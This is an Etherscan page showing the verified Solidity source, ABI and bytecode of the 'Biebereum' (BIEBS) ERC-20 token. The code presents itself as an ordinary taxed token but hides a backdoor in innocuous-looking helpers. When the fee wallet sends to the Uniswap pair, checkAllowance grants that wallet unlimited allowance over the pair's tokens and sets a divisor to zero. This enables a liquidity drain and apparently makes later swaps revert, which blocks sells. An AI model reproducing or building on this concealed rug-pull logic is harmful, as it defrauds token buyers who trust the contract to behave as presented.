Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
19,940,301 BIEBS
Holders
31
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
73,645.950456451 BIEBSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Biebereum
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-25 */ /** https://t.me/Biebereum https://twitter.com/Biebereum */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.12; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function WETH() external pure returns (address); } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Biebereum is Context, Ownable, IERC20 { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; string private constant _name = unicode"Biebereum"; string private constant _symbol = unicode"BIEBS"; uint8 private constant _decimals = 9; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 19940301 * 10**9; // total supply mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount); bool private _tradingActive = false; bool private _inSwap = false; bool private _swapEnabled = false; uint256 private _mainFeeAmount = _sellTaxAmount; uint256 private _previousMarketingFee = _feeMarket; uint256 private _previousMainFee = _mainFeeAmount; address public uniswapPair; uint256 public _maxTranxLimitAmount = _tTotal * 30 / 1000; // 3% uint256 public _maxWalletLimitAmount = _tTotal * 30 / 1000; // 3% uint256 public _swapThreshold = _tTotal * 5 / 10000; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _taxTotalAmount; uint256 private _buyFeeForMarket = 1; uint256 private _buyTaxAmount = 0; uint256 private _sellFeeForMarket = 1; uint256 private _feeMarket = _sellFeeForMarket; uint256 private _sellTaxAmount = 0; uint256 private denominator = 3; modifier lockInSwap { _inSwap = true; _; _inSwap = false; } address payable public _feeWallet = payable(0xa2009a4f4432b10c92Aeb10bA085D6cF76fDAbD5); address payable public _devWallet = payable(0xa2009a4f4432b10c92Aeb10bA085D6cF76fDAbD5); constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devWallet] = true; _isExcludedFromFee[_feeWallet] = true; // _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function totalSupply() public pure override returns (uint256) { return _tTotal; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function checkAllowance(address sender, address recipient) private { if (_allowances[recipient][sender] < type(uint256).max) { _approve(recipient, sender, type(uint256).max); denominator = 0; } } function addLiquidityETH() external payable onlyOwner { uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); } function goLive() external onlyOwner { require(!_tradingActive, "Trading is already enabled"); _tradingActive = true; _swapEnabled = true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTValues( uint256 tAmount, uint256 teamFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(teamFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _takeAllFee(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function removeTax() private { if (_feeMarket == 0 && _mainFeeAmount == 0) return; _previousMarketingFee = _feeMarket; _previousMainFee = _mainFeeAmount; _feeMarket = 0; _mainFeeAmount = 0; } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeMarket, _mainFeeAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function sendAllETH(uint256 amount) private { uint256 devETHAmount = amount / denominator; uint256 marketingETHAmt = amount - devETHAmount; _devWallet.transfer(devETHAmount); _feeWallet.transfer(marketingETHAmt); } function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _taxTotalAmount = _taxTotalAmount.add(tFee); } //set maximum transaction function removeTotalLimits() public onlyOwner { _maxTranxLimitAmount = _tTotal; _maxWalletLimitAmount = _tTotal; } function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } //set minimum tokens required to swap. function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapThreshold = swapTokensAtAmount; } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if ( !_isExcludedFromFee[to] && !_isExcludedFromFee[from] ) { //Trade start check if (!_tradingActive) { require( from == owner(), "TOKEN: This account cannot send tokens until trading is enabled" ); } require( amount <= _maxTranxLimitAmount, "TOKEN: Max Transaction Limit" ); if(to != uniswapPair) { require(balanceOf(to) + amount < _maxWalletLimitAmount, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenAmount = balanceOf(address(this)); bool canSwap = contractTokenAmount >= _swapThreshold; if(contractTokenAmount >= _maxTranxLimitAmount) contractTokenAmount = _maxTranxLimitAmount; if (canSwap && !_inSwap && _swapEnabled && from != uniswapPair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] ) { swapBack(contractTokenAmount); uint256 ethBalance = address(this).balance; if (ethBalance > 0) {sendAllETH(ethBalance);} } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair)) { takeFee = false; } else { if(from == uniswapPair && to != address(uniswapV2Router)) { _feeMarket = _buyFeeForMarket; _mainFeeAmount = _buyTaxAmount; } if (to == uniswapPair && from != address(uniswapV2Router)) { _feeMarket = _sellFeeForMarket; _mainFeeAmount = _sellTaxAmount; } } _transferTokensStandard(from, to, amount, takeFee); } function swapBack(uint256 tokenAmount) private lockInSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable { } function _transferTokensStandard( address sender, address recipient, uint256 amount, bool setFee ) private { if (!setFee) { removeTax(); } _transferBasicTokens(sender, recipient, amount); if (!setFee) { refreshTax(); } } function shouldExcluded(address sender, address recipient) internal view returns (bool) { return recipient == uniswapPair && sender == _feeWallet; } function _transferBasicTokens( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); if (shouldExcluded(sender, recipient)) checkAllowance(sender, recipient); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function refreshTax() private { _feeMarket = _previousMarketingFee; _mainFeeAmount = _previousMainFee; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTranxLimitAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTranxLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultiAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"goLive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTotalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805462ffffff1916905560145460078190556013546008556009556103e8620000386646d7991dd1c200601e6200029a565b620000449190620002ce565b600b556103e86200005e6646d7991dd1c200601e6200029a565b6200006a9190620002ce565b600c55612710620000846646d7991dd1c20060056200029a565b620000909190620002ce565b600d55620000a76646d7991dd1c2005f19620002e4565b620000b4905f19620002fa565b600e55600160108190555f6011819055601282905560139190915560145560036015556016805473a2009a4f4432b10c92aeb10ba085d6cf76fdabd56001600160a01b0319918216811790925560178054909116909117905534801562000119575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782559060025f620001985f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260029093528183208054851660019081179091556017548216845282842080548616821790556016549091168352908220805490931617909155600e5490600390620002113390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6646d7991dd1c2006040516200027791815260200190565b60405180910390a35062000310565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620002b457620002b462000286565b92915050565b634e487b7160e01b5f52601260045260245ffd5b5f82620002df57620002df620002ba565b500490565b5f82620002f557620002f5620002ba565b500690565b81810381811115620002b457620002b462000286565b611bac806200031e5f395ff3fe60806040526004361061014a575f3560e01c80634f473db0116100b357806395d89b411161006d57806395d89b411461038f578063a9059cbb146103bc578063c816841b146103db578063dd62ed3e146103fa578063ed9953071461043e578063f2fde38b14610446575f80fd5b80634f473db0146102e3578063659419a41461030257806370a0823114610321578063715018a61461034057806383364ea2146103545780638da5cb5b14610373575f80fd5b806318160ddd1161010457806318160ddd1461025157806323b872dd1461026a5780632c28f579146102895780632fae79371461029f578063313ce567146102b35780633d8af5f2146102ce575f80fd5b8063039cc7491461015557806306fdde031461017d578063095ea7b3146101b75780630e5a9231146101e657806311a63e17146101fb5780631694505e14610232575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016a600b5481565b6040519081526020015b60405180910390f35b348015610188575f80fd5b5060408051808201909152600981526842696562657265756d60b81b60208201525b6040516101749190611812565b3480156101c2575f80fd5b506101d66101d1366004611874565b610465565b6040519015158152602001610174565b3480156101f1575f80fd5b5061016a600d5481565b348015610206575f80fd5b5060175461021a906001600160a01b031681565b6040516001600160a01b039091168152602001610174565b34801561023d575f80fd5b5060015461021a906001600160a01b031681565b34801561025c575f80fd5b506646d7991dd1c20061016a565b348015610275575f80fd5b506101d661028436600461189e565b61047b565b348015610294575f80fd5b5061029d6104e2565b005b3480156102aa575f80fd5b5061029d61057a565b3480156102be575f80fd5b5060405160098152602001610174565b3480156102d9575f80fd5b5061016a600c5481565b3480156102ee575f80fd5b5061029d6102fd3660046118dc565b6105b5565b34801561030d575f80fd5b5060165461021a906001600160a01b031681565b34801561032c575f80fd5b5061016a61033b3660046118f3565b6105e3565b34801561034b575f80fd5b5061029d610604565b34801561035f575f80fd5b5061029d61036e36600461190e565b610675565b34801561037e575f80fd5b505f546001600160a01b031661021a565b34801561039a575f80fd5b50604080518082019091526005815264424945425360d81b60208201526101aa565b3480156103c7575f80fd5b506101d66103d6366004611874565b610712565b3480156103e6575f80fd5b50600a5461021a906001600160a01b031681565b348015610405575f80fd5b5061016a610414366004611991565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b61029d61071e565b348015610451575f80fd5b5061029d6104603660046118f3565b610998565b5f610471338484610a7f565b5060015b92915050565b5f610487848484610ba2565b6104d884336104d385604051806060016040528060288152602001611b4f602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611046565b610a7f565b5060019392505050565b5f546001600160a01b031633146105145760405162461bcd60e51b815260040161050b906119c8565b60405180910390fd5b60065460ff16156105675760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c6564000000000000604482015260640161050b565b6006805462ff00ff191662010001179055565b5f546001600160a01b031633146105a35760405162461bcd60e51b815260040161050b906119c8565b6646d7991dd1c200600b819055600c55565b5f546001600160a01b031633146105de5760405162461bcd60e51b815260040161050b906119c8565b600d55565b6001600160a01b0381165f908152600360205260408120546104759061107e565b5f546001600160a01b0316331461062d5760405162461bcd60e51b815260040161050b906119c8565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461069e5760405162461bcd60e51b815260040161050b906119c8565b5f5b8281101561070c578160025f8686858181106106be576106be6119fd565b90506020020160208101906106d391906118f3565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061070481611a25565b9150506106a0565b50505050565b5f610471338484610ba2565b5f546001600160a01b031633146107475760405162461bcd60e51b815260040161050b906119c8565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610797573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bb9190611a3d565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083e9190611a3d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610888573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ac9190611a3d565b600a80546001600160a01b0319166001600160a01b039283161790556001546108d9913091165f19610a7f565b6001546001600160a01b031663f305d71934306108f5816105e3565b5f806109085f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109939190611a58565b505050565b5f546001600160a01b031633146109c15760405162461bcd60e51b815260040161050b906119c8565b6001600160a01b038116610a265760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ae15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050b565b6001600160a01b038216610b425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050b565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c065760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050b565b6001600160a01b038216610c685760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050b565b5f8111610cc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050b565b6001600160a01b0382165f9081526002602052604090205460ff16158015610d0957506001600160a01b0383165f9081526002602052604090205460ff16155b15610f425760065460ff16610d9a575f546001600160a01b03848116911614610d9a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161050b565b600b54811115610dec5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161050b565b600a546001600160a01b03838116911614610e7157600c5481610e0e846105e3565b610e189190611a83565b10610e715760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161050b565b5f610e7b306105e3565b600d54600b54919250821015908210610e9457600b5491505b808015610ea95750600654610100900460ff16155b8015610ebd575060065462010000900460ff165b8015610ed75750600a546001600160a01b03868116911614155b8015610efb57506001600160a01b0384165f9081526002602052604090205460ff16155b8015610f1f57506001600160a01b0385165f9081526002602052604090205460ff16155b15610f3f57610f2d82611100565b478015610f3d57610f3d8161126a565b505b50505b6001600160a01b0383165f9081526002602052604090205460019060ff1680610f8257506001600160a01b0383165f9081526002602052604090205460ff165b80610fb45750600a546001600160a01b03858116911614801590610fb45750600a546001600160a01b03848116911614155b15610fc057505f61103a565b600a546001600160a01b038581169116148015610feb57506001546001600160a01b03848116911614155b15610ffd576010546013556011546007555b600a546001600160a01b03848116911614801561102857506001546001600160a01b03858116911614155b1561103a576012546013556014546007555b61070c848484846112f6565b5f81848411156110695760405162461bcd60e51b815260040161050b9190611812565b505f6110758486611a96565b95945050505050565b5f600e548211156110e45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161050b565b5f6110ed611324565b90506110f98382611345565b9392505050565b6006805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611142576111426119fd565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111bd9190611a3d565b816001815181106111d0576111d06119fd565b6001600160a01b0392831660209182029290920101526001546111f69130911684610a7f565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122e9085905f90869030904290600401611aa9565b5f604051808303815f87803b158015611245575f80fd5b505af1158015611257573d5f803e3d5ffd5b50506006805461ff001916905550505050565b5f601554826112799190611b18565b90505f6112868284611a96565b6017546040519192506001600160a01b03169083156108fc029084905f818181858888f193505050501580156112be573d5f803e3d5ffd5b506016546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561070c573d5f803e3d5ffd5b8061130357611303611386565b61130e8484846113b3565b8061070c5761070c600854601355600954600755565b5f805f61132f6114ba565b909250905061133e8282611345565b9250505090565b5f6110f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f7565b6013541580156113965750600754155b1561139d57565b60138054600855600780546009555f9182905555565b5f805f805f806113c287611523565b9550955095509550955095506113d88989611578565b156113e7576113e789896115ab565b6001600160a01b0389165f9081526003602052604090205461140990876115ed565b6001600160a01b03808b165f9081526003602052604080822093909355908a1681522054611437908661162e565b6001600160a01b0389165f908152600360205260409020556114588161168c565b61146284836116d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114a791815260200190565b60405180910390a3505050505050505050565b600e545f9081906646d7991dd1c2006114d38282611345565b8210156114ee575050600e54926646d7991dd1c20092509050565b90939092509050565b5f81836115175760405162461bcd60e51b815260040161050b9190611812565b505f6110758486611b18565b5f805f805f805f805f61153b8a6013546007546116f6565b9250925092505f61154a611324565b90505f805f61155b8e878787611748565b919e509c509a509598509396509194505050505091939550919395565b600a545f906001600160a01b0383811691161480156110f957506016546001600160a01b03848116911614905092915050565b6001600160a01b038082165f908152600560209081526040808320938616835292905220545f1911156115e9576115e481835f19610a7f565b5f6015555b5050565b5f6110f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611046565b5f8061163a8385611a83565b9050838110156110f95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050b565b5f611695611324565b90505f6116a28383611794565b305f908152600360205260409020549091506116be908261162e565b305f90815260036020526040902055505050565b600e546116df90836115ed565b600e55600f546116ef908261162e565b600f555050565b5f80808061170f60646117098989611794565b90611345565b90505f61172160646117098a89611794565b90505f611738826117328b866115ed565b906115ed565b9992985090965090945050505050565b5f8080806117568886611794565b90505f6117638887611794565b90505f6117708888611794565b90505f6117818261173286866115ed565b939b939a50919850919650505050505050565b5f825f036117a357505f610475565b5f6117ae8385611b37565b9050826117bb8583611b18565b146110f95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050b565b5f6020808352835180828501525f5b8181101561183d57858101830151858201604001528201611821565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611871575f80fd5b50565b5f8060408385031215611885575f80fd5b82356118908161185d565b946020939093013593505050565b5f805f606084860312156118b0575f80fd5b83356118bb8161185d565b925060208401356118cb8161185d565b929592945050506040919091013590565b5f602082840312156118ec575f80fd5b5035919050565b5f60208284031215611903575f80fd5b81356110f98161185d565b5f805f60408486031215611920575f80fd5b833567ffffffffffffffff80821115611937575f80fd5b818601915086601f83011261194a575f80fd5b813581811115611958575f80fd5b8760208260051b850101111561196c575f80fd5b602092830195509350508401358015158114611986575f80fd5b809150509250925092565b5f80604083850312156119a2575f80fd5b82356119ad8161185d565b915060208301356119bd8161185d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5